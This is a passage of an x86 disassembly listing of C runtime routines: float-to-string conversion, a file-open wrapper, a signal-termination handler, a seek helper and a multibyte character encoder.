; ---------------------------------------------------------------------------
loc_44DAC6: ; CODE XREF: sub_44D631+53Cj
fld [ebp+var_10]
call sub_44E731
mov dword ptr [ebp+var_50+4], eax
mov eax, [ebp+var_44]
sub eax, 8
mov [ebp+var_44], eax
test eax, eax
jle short loc_44DAEF
fld [ebp+var_10]
fild dword ptr [ebp+var_50+4]
fsubp st(1), st
fmul dbl_4100DC
fstp [ebp+var_10]
loc_44DAEF: ; CODE XREF: sub_44D631+4ABj
mov eax, [ebp+var_4]
add eax, 8
mov [ebp+var_4], eax
mov dword ptr [ebp+var_50], 8
jmp short loc_44DB2A
; ---------------------------------------------------------------------------
loc_44DB01: ; CODE XREF: sub_44D631+508j
push 0Ah
mov eax, dword ptr [ebp+var_50+4]
push eax
call sub_44E761
add esp, 8
mov dword ptr [ebp+var_58], eax
mov dword ptr [ebp+var_58+4], edx
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov edx, dword ptr [ebp+var_58+4]
add edx, 30h
mov [eax], dl
mov eax, dword ptr [ebp+var_58]
mov dword ptr [ebp+var_50+4], eax
loc_44DB2A: ; CODE XREF: sub_44D631+4CEj
cmp dword ptr [ebp+var_50+4], 0
jle short loc_44DB3B
mov eax, dword ptr [ebp+var_50]
dec eax
mov dword ptr [ebp+var_50], eax
test eax, eax
jge short loc_44DB01
loc_44DB3B: ; CODE XREF: sub_44D631+4FDj
jmp short loc_44DB47
; ---------------------------------------------------------------------------
loc_44DB3D: ; CODE XREF: sub_44D631+51Fj
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov byte ptr [eax], 30h
loc_44DB47: ; CODE XREF: sub_44D631:loc_44DB3Bj
mov eax, dword ptr [ebp+var_50]
dec eax
mov dword ptr [ebp+var_50], eax
test eax, eax
jge short loc_44DB3D
mov eax, [ebp+var_4]
add eax, 8
mov [ebp+var_4], eax
loc_44DB5B: ; CODE XREF: sub_44D631+490j
cmp [ebp+var_44], 0
jle short loc_44DB73
fld dbl_4100EC
fcomp [ebp+var_10]
fnstsw ax
sahf
jb loc_44DAC6
loc_44DB73: ; CODE XREF: sub_44D631+52Ej
mov eax, [ebp+var_4]
lea edx, [ebp+var_3D]
sub eax, edx
mov [ebp+var_44], eax
lea eax, [ebp+var_3D]
mov [ebp+var_4], eax
add [ebp+var_14], 7
jmp short loc_44DB96
; ---------------------------------------------------------------------------
loc_44DB8B: ; CODE XREF: sub_44D631+56Bj
dec [ebp+var_44]
sub [ebp+var_14], 1
inc [ebp+var_4]
loc_44DB96: ; CODE XREF: sub_44D631+558j
mov eax, [ebp+var_4]
cmp byte ptr [eax], 30h
jz short loc_44DB8B
mov al, [ebp+arg_4]
cmp al, 66h
jz short loc_44DBA9
cmp al, 46h
jnz short loc_44DBB3
loc_44DBA9: ; CODE XREF: sub_44D631+572j
movsx eax, [ebp+var_14]
inc eax
mov dword ptr [ebp+var_50+4], eax
jmp short loc_44DBCE
; ---------------------------------------------------------------------------
loc_44DBB3: ; CODE XREF: sub_44D631+576j
mov al, [ebp+arg_4]
cmp al, 65h
jz short loc_44DBBE
cmp al, 45h
jnz short loc_44DBC7
loc_44DBBE: ; CODE XREF: sub_44D631+587j
mov dword ptr [ebp+var_50+4], 1
jmp short loc_44DBCE
; ---------------------------------------------------------------------------
loc_44DBC7: ; CODE XREF: sub_44D631+58Bj
mov dword ptr [ebp+var_50+4], 0
loc_44DBCE: ; CODE XREF: sub_44D631+580j
; sub_44D631+594j
mov eax, dword ptr [ebp+var_50+4]
mov edx, [ebp+arg_0]
mov edx, [edx+2Ch]
add eax, edx
mov [ebp+var_12], ax
movsx eax, [ebp+var_12]
cmp [ebp+var_44], eax
jge short loc_44DBED
mov eax, [ebp+var_44]
mov [ebp+var_12], ax
loc_44DBED: ; CODE XREF: sub_44D631+5B3j
cmp [ebp+var_12], 0
jl short loc_44DC66
mov ax, [ebp+var_12]
movsx edx, ax
cmp edx, [ebp+var_44]
jge short loc_44DC15
movsx eax, ax
mov edx, [ebp+var_4]
cmp byte ptr [edx+eax], 35h
jb short loc_44DC15
mov dword ptr [ebp+var_58], 39h
jmp short loc_44DC1C
; ---------------------------------------------------------------------------
loc_44DC15: ; CODE XREF: sub_44D631+5CDj
; sub_44D631+5D9j
mov dword ptr [ebp+var_58], 30h
loc_44DC1C: ; CODE XREF: sub_44D631+5E2j
mov eax, dword ptr [ebp+var_58]
mov byte ptr [ebp+var_50+3], al
movsx eax, [ebp+var_12]
mov dword ptr [ebp+var_58+4], eax
jmp short loc_44DC30
; ---------------------------------------------------------------------------
loc_44DC2B: ; CODE XREF: sub_44D631+60Fj
sub [ebp+var_12], 1
loc_44DC30: ; CODE XREF: sub_44D631+5F8j
mov eax, dword ptr [ebp+var_58+4]
dec eax
mov dword ptr [ebp+var_58+4], eax
mov edx, [ebp+var_4]
mov cl, byte ptr [ebp+var_50+3]
cmp [edx+eax], cl
jz short loc_44DC2B
cmp byte ptr [ebp+var_50+3], 39h
jnz short loc_44DC53
mov eax, dword ptr [ebp+var_58+4]
mov edx, [ebp+var_4]
add eax, edx
add byte ptr [eax], 1
loc_44DC53: ; CODE XREF: sub_44D631+615j
cmp dword ptr [ebp+var_58+4], 0
jge short loc_44DC66
dec [ebp+var_4]
add [ebp+var_12], 1
add [ebp+var_14], 1
loc_44DC66: ; CODE XREF: sub_44D631+161j
; sub_44D631+365j ...
movsx eax, [ebp+var_14]
push eax
movsx eax, [ebp+var_12]
push eax
mov eax, [ebp+var_4]
push eax
movzx eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44E791
add esp, 14h
loc_44DC85: ; CODE XREF: sub_44D631+B4j
; sub_44D631+106j
mov esp, ebp
pop ebp
retn
sub_44D631 endp
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44DC91 proc near ; CODE XREF: sub_44C9C1+5Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
lea ebx, [ebp+arg_8]
lea eax, [ebx+4]
mov ebx, eax
mov esi, [eax-4]
push esi
push 40h
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44DCC1
add esp, 10h
pop esi
pop ebx
pop ebp
retn
sub_44DC91 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44DCC1 proc near ; CODE XREF: sub_44DC91+1Bp
var_3C = dword ptr -3Ch
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 3Ch
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov [ebp+var_10], 0Ch
mov [ebp+var_C], 0
test ebx, 80h
jz short loc_44DCF0
mov [ebp+var_8], 0
mov [ebp+var_1], 10h
jmp short loc_44DCFB
; ---------------------------------------------------------------------------
loc_44DCF0: ; CODE XREF: sub_44DCC1+20j
mov [ebp+var_8], 1
mov [ebp+var_1], 0
loc_44DCFB: ; CODE XREF: sub_44DCC1+2Dj
test ebx, 8000h
jnz short loc_44DD0F
test ebx, 4000h
jz short loc_44DD0F
or [ebp+var_1], 80h
loc_44DD0F: ; CODE XREF: sub_44DCC1+40j
; sub_44DCC1+48j
mov edi, ebx
and edi, 3
jz short loc_44DD22
cmp edi, 1
jz short loc_44DD2B
cmp edi, 2
jz short loc_44DD34
jmp short loc_44DD3D
; ---------------------------------------------------------------------------
loc_44DD22: ; CODE XREF: sub_44DCC1+53j
mov [ebp+var_20], 80000000h
jmp short loc_44DD50
; ---------------------------------------------------------------------------
loc_44DD2B: ; CODE XREF: sub_44DCC1+58j
mov [ebp+var_20], 40000000h
jmp short loc_44DD50
; ---------------------------------------------------------------------------
loc_44DD34: ; CODE XREF: sub_44DCC1+5Dj
mov [ebp+var_20], 0C0000000h
jmp short loc_44DD50
; ---------------------------------------------------------------------------
loc_44DD3D: ; CODE XREF: sub_44DCC1+5Fj
call sub_44A781
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_44E09A
; ---------------------------------------------------------------------------
loc_44DD50: ; CODE XREF: sub_44DCC1+68j
; sub_44DCC1+71j ...
mov eax, [ebp+arg_8]
cmp eax, 20h
jz short loc_44DD7D
jg short loc_44DD62
cmp [ebp+arg_8], 10h
jz short loc_44DD74
jmp short loc_44DD98
; ---------------------------------------------------------------------------
loc_44DD62: ; CODE XREF: sub_44DCC1+97j
mov eax, [ebp+arg_8]
cmp eax, 30h
jz short loc_44DD86
jl short loc_44DD98
cmp [ebp+arg_8], 40h
jz short loc_44DD8F
jmp short loc_44DD98
; ---------------------------------------------------------------------------
loc_44DD74: ; CODE XREF: sub_44DCC1+9Dj
mov [ebp+var_28], 0
jmp short loc_44DDAB
; ---------------------------------------------------------------------------
loc_44DD7D: ; CODE XREF: sub_44DCC1+95j
mov [ebp+var_28], 1
jmp short loc_44DDAB
; ---------------------------------------------------------------------------
loc_44DD86: ; CODE XREF: sub_44DCC1+A7j
mov [ebp+var_28], 2
jmp short loc_44DDAB
; ---------------------------------------------------------------------------
loc_44DD8F: ; CODE XREF: sub_44DCC1+AFj
mov [ebp+var_28], 3
jmp short loc_44DDAB
; ---------------------------------------------------------------------------
loc_44DD98: ; CODE XREF: sub_44DCC1+9Fj
; sub_44DCC1+A9j ...
call sub_44A781
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_44E09A
; ---------------------------------------------------------------------------
loc_44DDAB: ; CODE XREF: sub_44DCC1+BAj
; sub_44DCC1+C3j ...
mov eax, ebx
and eax, 700h
mov [ebp+var_3C], eax
cmp eax, 300h
jz short loc_44DE2F
jg short loc_44DDDD
mov eax, [ebp+var_3C]
cmp eax, 100h
jz short loc_44DE14
jg short loc_44DDD2
cmp [ebp+var_3C], 0
jz short loc_44DE0B
jmp short loc_44DE38
; ---------------------------------------------------------------------------
loc_44DDD2: ; CODE XREF: sub_44DCC1+107j
cmp [ebp+var_3C], 200h
jz short loc_44DE26
jmp short loc_44DE38
; ---------------------------------------------------------------------------
loc_44DDDD: ; CODE XREF: sub_44DCC1+FBj
mov eax, [ebp+var_3C]
cmp eax, 500h
jz short loc_44DE1D
jg short loc_44DDF4
cmp [ebp+var_3C], 400h
jz short loc_44DE0B
jmp short loc_44DE38
; ---------------------------------------------------------------------------
loc_44DDF4: ; CODE XREF: sub_44DCC1+126j
mov eax, [ebp+var_3C]
cmp eax, 600h
jz short loc_44DE26
jl short loc_44DE38
cmp [ebp+var_3C], 700h
jz short loc_44DE1D
jmp short loc_44DE38
; ---------------------------------------------------------------------------
loc_44DE0B: ; CODE XREF: sub_44DCC1+10Dj
; sub_44DCC1+12Fj
mov [ebp+var_24], 3
jmp short loc_44DE4B
; ---------------------------------------------------------------------------
loc_44DE14: ; CODE XREF: sub_44DCC1+105j
mov [ebp+var_24], 4
jmp short loc_44DE4B
; ---------------------------------------------------------------------------
loc_44DE1D: ; CODE XREF: sub_44DCC1+124j
; sub_44DCC1+146j
mov [ebp+var_24], 1
jmp short loc_44DE4B
; ---------------------------------------------------------------------------
loc_44DE26: ; CODE XREF: sub_44DCC1+118j
; sub_44DCC1+13Bj
mov [ebp+var_24], 5
jmp short loc_44DE4B
; ---------------------------------------------------------------------------
loc_44DE2F: ; CODE XREF: sub_44DCC1+F9j
mov [ebp+var_24], 2
jmp short loc_44DE4B
; ---------------------------------------------------------------------------
loc_44DE38: ; CODE XREF: sub_44DCC1+10Fj
; sub_44DCC1+11Aj ...
call sub_44A781
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_44E09A
; ---------------------------------------------------------------------------
loc_44DE4B: ; CODE XREF: sub_44DCC1+151j
; sub_44DCC1+15Aj ...
mov [ebp+var_14], 80h
test ebx, 100h
jz short loc_44DE79
lea eax, [ebp+arg_C]
mov [ebp+var_2C], eax
add eax, 4
mov [ebp+var_2C], eax
mov eax, [eax-4]
mov [ebp+var_30], eax
test byte ptr [ebp+var_30], 80h
jnz short loc_44DE79
mov [ebp+var_14], 1
loc_44DE79: ; CODE XREF: sub_44DCC1+197j
; sub_44DCC1+1AFj
test ebx, 40h
jz short loc_44DE8F
or [ebp+var_14], 4000000h
or [ebp+var_20], 10000h
loc_44DE8F: ; CODE XREF: sub_44DCC1+1BEj
test ebx, 1000h
jz short loc_44DE9E
or [ebp+var_14], 100h
loc_44DE9E: ; CODE XREF: sub_44DCC1+1D4j
test ebx, 20h
jz short loc_44DEAF
or [ebp+var_14], 8000000h
jmp short loc_44DEBE
; ---------------------------------------------------------------------------
loc_44DEAF: ; CODE XREF: sub_44DCC1+1E3j
test ebx, 10h
jz short loc_44DEBE
or [ebp+var_14], 10000000h
loc_44DEBE: ; CODE XREF: sub_44DCC1+1ECj
; sub_44DCC1+1F4j
call sub_44CCB1
mov esi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_44DEDD
call sub_44A781
mov dword ptr [eax], 18h
or eax, 0FFFFFFFFh
jmp loc_44E09A
; ---------------------------------------------------------------------------
loc_44DEDD: ; CODE XREF: sub_44DCC1+207j
push 0
mov eax, [ebp+var_14]
push eax
mov eax, [ebp+var_24]
push eax
lea eax, [ebp+var_10]
push eax
mov eax, [ebp+var_28]
push eax
mov eax, [ebp+var_20]
push eax
mov eax, [ebp+arg_0]
push eax
call dword_411DD0
mov [ebp+var_18], eax
cmp eax, 0FFFFFFFFh
jnz short loc_44DF23
call dword_411CE8
push eax
call sub_44A621
pop ecx
push esi
call sub_44D0C1
pop ecx
or eax, 0FFFFFFFFh
jmp loc_44E09A
; ---------------------------------------------------------------------------
loc_44DF23: ; CODE XREF: sub_44DCC1+244j
mov eax, [ebp+var_18]
push eax
call dword_411DEC
mov [ebp+var_1C], eax
test eax, eax
jnz short loc_44DF5A
mov eax, [ebp+var_18]
push eax
call dword_411CF8
call dword_411CE8
push eax
call sub_44A621
pop ecx
push esi
call sub_44D0C1
pop ecx
or eax, 0FFFFFFFFh
jmp loc_44E09A
; ---------------------------------------------------------------------------
loc_44DF5A: ; CODE XREF: sub_44DCC1+271j
cmp [ebp+var_1C], 2
jnz short loc_44DF66
or [ebp+var_1], 40h
jmp short loc_44DF70
; ---------------------------------------------------------------------------
loc_44DF66: ; CODE XREF: sub_44DCC1+29Dj
cmp [ebp+var_1C], 3
jnz short loc_44DF70
or [ebp+var_1], 8
loc_44DF70: ; CODE XREF: sub_44DCC1+2A3j
; sub_44DCC1+2A9j
mov eax, [ebp+var_18]
push eax
push esi
call sub_44CE91
add esp, 8
or [ebp+var_1], 1
mov eax, esi
and eax, 1Fh
imul eax, 24h
mov edx, esi
sar edx, 5
mov edx, dword_413988[edx*4]
mov cl, [ebp+var_1]
mov [edx+eax+4], cl
movzx eax, [ebp+var_1]
test eax, 48h
jnz loc_44E068
test eax, 80h
jz loc_44E068
test ebx, 2
jz loc_44E068
push 2
push 0FFFFFFFFh
push esi
call sub_44E1D1
add esp, 0Ch
mov [ebp+var_34], eax
cmp eax, 0FFFFFFFFh
jnz short loc_44DFFE
call dword_411CE8
cmp eax, 83h
jz loc_44E068
push esi
call sub_44B161
pop ecx
push esi
call sub_44D0C1
pop ecx
or eax, 0FFFFFFFFh
jmp loc_44E09A
; ---------------------------------------------------------------------------
loc_44DFFE: ; CODE XREF: sub_44DCC1+314j
mov [ebp+var_35], 0
push 1
lea eax, [ebp+var_35]
push eax
push esi
call sub_44EC71
add esp, 0Ch
test eax, eax
jnz short loc_44E040
cmp [ebp+var_35], 1Ah
jnz short loc_44E040
mov eax, [ebp+var_34]
push eax
push esi
call sub_44F031
add esp, 8
cmp eax, 0FFFFFFFFh
jnz short loc_44E040
push esi
call sub_44B161
pop ecx
push esi
call sub_44D0C1
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_44E09A
; ---------------------------------------------------------------------------
loc_44E040: ; CODE XREF: sub_44DCC1+352j
; sub_44DCC1+358j ...
push 0
push 0
push esi
call sub_44E1D1
add esp, 0Ch
mov [ebp+var_34], eax
cmp eax, 0FFFFFFFFh
jnz short loc_44E068
push esi
call sub_44B161
pop ecx
push esi
call sub_44D0C1
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_44E09A
; ---------------------------------------------------------------------------
loc_44E068: ; CODE XREF: sub_44DCC1+2E4j
; sub_44DCC1+2EFj ...
test [ebp+var_1], 48h
jnz short loc_44E091
test ebx, 8
jz short loc_44E091
mov eax, esi
and eax, 1Fh
imul eax, 24h
mov edx, esi
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
or byte ptr [eax], 20h
loc_44E091: ; CODE XREF: sub_44DCC1+3ABj
; sub_44DCC1+3B3j
push esi
call sub_44D0C1
pop ecx
mov eax, esi
loc_44E09A: ; CODE XREF: sub_44DCC1+8Aj
; sub_44DCC1+E5j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44DCC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44E0A1 proc near ; CODE XREF: sub_44CA31+2p
var_14 = dword ptr -14h
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push 1
mov eax, [ebp+arg_0]
push eax
call sub_44D131
add esp, 8
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_44E0C8
or eax, 0FFFFFFFFh
jmp loc_44E1C5
; ---------------------------------------------------------------------------
loc_44E0C8: ; CODE XREF: sub_44E0A1+1Dj
cmp ebx, 1
jz loc_44E1C3
test ebx, ebx
jz short loc_44E0EF
push 0
mov eax, [ebp+arg_0]
push eax
call sub_44D131
add esp, 8
mov eax, [ebp+arg_0]
push eax
call ebx
pop ecx
jmp loc_44E1C3
; ---------------------------------------------------------------------------
loc_44E0EF: ; CODE XREF: sub_44E0A1+32j
mov eax, [ebp+arg_0]
cmp eax, 2
jl short loc_44E144
cmp eax, 0Bh
jg short loc_44E103
jmp dword ptr byte_410120[eax*4]
; ---------------------------------------------------------------------------
loc_44E103: ; CODE XREF: sub_44E0A1+59j
cmp [ebp+arg_0], 0Fh
jz short loc_44E13B
jmp short loc_44E144
; ---------------------------------------------------------------------------
mov [ebp+var_4], offset aAbort ; "abort"
jmp loc_44E198
; ---------------------------------------------------------------------------
mov [ebp+var_4], offset aArithmeticErro ; "arithmetic error"
jmp short loc_44E198
; ---------------------------------------------------------------------------
mov [ebp+var_4], offset aInvalidExecuta ; "invalid executable code"
jmp short loc_44E198
; ---------------------------------------------------------------------------
mov [ebp+var_4], offset aInterruption ; "interruption"
jmp short loc_44E198
; ---------------------------------------------------------------------------
mov [ebp+var_4], offset aInvalidStorage ; "invalid storage access"
jmp short loc_44E198
; ---------------------------------------------------------------------------
loc_44E13B: ; CODE XREF: sub_44E0A1+66j
mov [ebp+var_4], offset aTerminationReq ; "termination request"
jmp short loc_44E198
; ---------------------------------------------------------------------------
loc_44E144: ; CODE XREF: sub_44E0A1+54j
; sub_44E0A1+68j
lea eax, [ebp+var_5]
mov [ebp+var_4], eax
mov [ebp+var_5], 0
loc_44E14E: ; CODE XREF: sub_44E0A1+E3j
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_14], eax
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
mov ecx, 0Ah
cdq
idiv ecx
lea eax, [edx+30h]
mov edx, [ebp+var_14]
mov [edx], al
mov eax, [ebp+arg_0]
push eax
mov edx, 66666667h
imul edx
pop eax
shr eax, 1Fh
sar edx, 2
add eax, edx
mov [ebp+arg_0], eax
test eax, eax
jnz short loc_44E14E
push offset dword_411324
push offset aSignal ; "signal #"
call sub_44F1E1
add esp, 8
loc_44E198: ; CODE XREF: sub_44E0A1+71j
; sub_44E0A1+7Dj ...
push offset dword_411324
mov eax, [ebp+var_4]
push eax
call sub_44F1E1
add esp, 8
push offset dword_411324
push offset aTerminating ; " -- terminating\n"
call sub_44F1E1
add esp, 8
push 1
call sub_449DC1
pop ecx
loc_44E1C3: ; CODE XREF: sub_44E0A1+2Aj
; sub_44E0A1+49j
xor eax, eax
loc_44E1C5: ; CODE XREF: sub_44E0A1+22j
pop ebx
mov esp, ebp
pop ebp
retn
sub_44E0A1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44E1D1 proc near ; CODE XREF: sub_44CA51+4Bp
; sub_44DCC1+306p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
push ebx
call sub_44CF41
pop ecx
mov edi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_44E1FA
call sub_44A781
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_44E243
; ---------------------------------------------------------------------------
loc_44E1FA: ; CODE XREF: sub_44E1D1+17j
mov eax, [ebp+arg_8]
push eax
push 0
mov eax, [ebp+arg_4]
push eax
push edi
call dword_411E14
mov esi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_44E226
call dword_411CE8
push eax
call sub_44A621
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_44E243
; ---------------------------------------------------------------------------
loc_44E226: ; CODE XREF: sub_44E1D1+41j
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
and byte ptr [eax], 0FDh
mov eax, esi
loc_44E243: ; CODE XREF: sub_44E1D1+27j
; sub_44E1D1+53j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_44E1D1 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, [ebp+8]
cmp ebx, dword_413A88
jnb short loc_44E27C
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_44E28C
loc_44E27C: ; CODE XREF: DMN1:0044E25Fj
call sub_44A781
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_44E2AF
; ---------------------------------------------------------------------------
loc_44E28C: ; CODE XREF: DMN1:0044E27Aj
push ebx
call sub_44D061
pop ecx
mov eax, [ebp+10h]
push eax
mov eax, [ebp+0Ch]
push eax
push ebx
call sub_44E1D1
add esp, 0Ch
mov esi, eax
push ebx
call sub_44D0C1
pop ecx
mov eax, esi
loc_44E2AF: ; CODE XREF: DMN1:0044E28Aj
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44E2C1 proc near ; CODE XREF: sub_44D291+9Bp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
cmp off_411924, 0
jnz loc_44E3A8
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
cmp [ebp+arg_0], 0
jnz short loc_44E2FC
mov eax, [ebp+arg_8]
mov ecx, dword_4101D4
mov ebx, dword_4101D8
mov [eax], ecx
mov [eax+4], ebx
xor eax, eax
jmp loc_44E4FE
; ---------------------------------------------------------------------------
loc_44E2FC: ; CODE XREF: sub_44E2C1+1Ej
test [ebp+arg_4], 0FF80h
jnz short loc_44E31C
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
movzx edx, [ebp+arg_4]
mov [eax], dl
mov [ebp+var_4], 0
jmp short loc_44E395
; ---------------------------------------------------------------------------
loc_44E31C: ; CODE XREF: sub_44E2C1+41j
test [ebp+arg_4], 0F800h
jnz short loc_44E345
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
movzx edx, [ebp+arg_4]
sar edx, 6
or edx, 0C0h
mov [eax], dl
mov [ebp+var_4], 1
jmp short loc_44E395
; ---------------------------------------------------------------------------
loc_44E345: ; CODE XREF: sub_44E2C1+61j
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
movzx edx, [ebp+arg_4]
sar edx, 0Ch
and edx, 0Fh
or edx, 0E0h
mov [eax], dl
mov [ebp+var_4], 2
jmp short loc_44E395
; ---------------------------------------------------------------------------
loc_44E369: ; CODE XREF: sub_44E2C1+D8j
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov edx, [ebp+var_4]
dec edx
mov [ebp+var_4], edx
movzx ecx, [ebp+arg_4]
mov [ebp+var_C], ecx
lea ecx, [edx+edx*2]
add ecx, ecx
mov edx, [ebp+var_C]
sar edx, cl
and edx, 3Fh
or edx, 80h
mov [eax], dl
loc_44E395: ; CODE XREF: sub_44E2C1+59j
; sub_44E2C1+82j ...
cmp [ebp+var_4], 0
jg short loc_44E369
mov eax, [ebp+var_8]
mov edx, [ebp+arg_0]
sub eax, edx
jmp loc_44E4FE
; ---------------------------------------------------------------------------
loc_44E3A8: ; CODE XREF: sub_44E2C1+Ej
mov eax, [ebp+arg_8]
movzx eax, word ptr [eax+6]
mov byte ptr [ebp+var_4+3], al
mov [ebp+var_10], 0
mov [ebp+var_C], 0
mov [ebp+var_8], 0
cmp [ebp+arg_0], 0
jnz short loc_44E3F3
mov eax, [ebp+arg_8]
mov ecx, dword_4101D4
mov ebx, dword_4101D8
mov [eax], ecx
mov [eax+4], ebx
mov eax, off_411924
movzx eax, word ptr [eax]
and eax, 0F00h
jmp loc_44E4FE
; ---------------------------------------------------------------------------
loc_44E3F3: ; CODE XREF: sub_44E2C1+10Aj
; sub_44E2C1+229j
mov al, byte ptr [ebp+var_4+3]
cmp al, 10h
jnb short loc_44E439
movzx eax, al
mov eax, off_411964[eax*4]
mov [ebp+var_18], eax
test eax, eax
jz short loc_44E439
movzx eax, byte_4118A0
cmp [ebp+var_8], eax
jge short loc_44E439
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
cmp eax, 0FF0h
jge short loc_44E439
movzx eax, byte ptr [ebp+arg_4]
mov edx, [ebp+var_18]
mov ax, [edx+eax*2]
mov [ebp+var_12], ax
test ax, ax
jnz short loc_44E44C
loc_44E439: ; CODE XREF: sub_44E2C1+137j
; sub_44E2C1+148j ...
call sub_44A781
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_44E4FE
; ---------------------------------------------------------------------------
loc_44E44C: ; CODE XREF: sub_44E2C1+176j
movzx eax, [ebp+var_12]
mov edx, eax
and edx, 0F00h
sar edx, 8
mov byte ptr [ebp+var_4+3], dl
test eax, 8000h
jz short loc_44E478
movzx eax, [ebp+arg_4]
and eax, 0FFFFFF00h
movzx edx, byte ptr [ebp+var_12]
or eax, edx
mov [ebp+arg_4], ax
loc_44E478: ; CODE XREF: sub_44E2C1+1A2j
test [ebp+var_12], 1000h
jz short loc_44E49A
movzx eax, [ebp+arg_4]
mov edx, eax
shl edx, 8
sar eax, 8
and eax, 0FFh
or edx, eax
mov ax, dx
mov [ebp+arg_4], ax
loc_44E49A: ; CODE XREF: sub_44E2C1+1BDj
test [ebp+var_12], 2000h
jz short loc_44E4DE
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
test [ebp+var_12], 0FFh
jz short loc_44E4BC
movzx edx, [ebp+var_12]
mov [ebp+var_1C], edx
jmp short loc_44E4C3
; ---------------------------------------------------------------------------
loc_44E4BC: ; CODE XREF: sub_44E2C1+1F0j
movzx edx, [ebp+arg_4]
mov [ebp+var_1C], edx
loc_44E4C3: ; CODE XREF: sub_44E2C1+1F9j
mov edx, [ebp+var_1C]
mov ecx, [ebp+arg_0]
mov [ecx+eax], dl
test dl, dl
jnz short loc_44E4D7
mov [ebp+var_10], 1
loc_44E4D7: ; CODE XREF: sub_44E2C1+20Dj
mov [ebp+var_C], 0
loc_44E4DE: ; CODE XREF: sub_44E2C1+1DFj
test [ebp+var_12], 4000h
jnz short loc_44E4F0
cmp [ebp+var_10], 0
jz loc_44E3F3
loc_44E4F0: ; CODE XREF: sub_44E2C1+223j
mov edx, [ebp+arg_8]
movzx eax, byte ptr [ebp+var_4+3]
mov [edx+6], ax
mov eax, [ebp+var_8]
loc_44E4FE: ; CODE XREF: sub_44E2C1+36j
; sub_44E2C1+E2j ...
pop ebx
mov esp, ebp
pop ebp
retn
sub_44E2C1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44E511 proc near ; CODE XREF: sub_44D3E1+CFp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
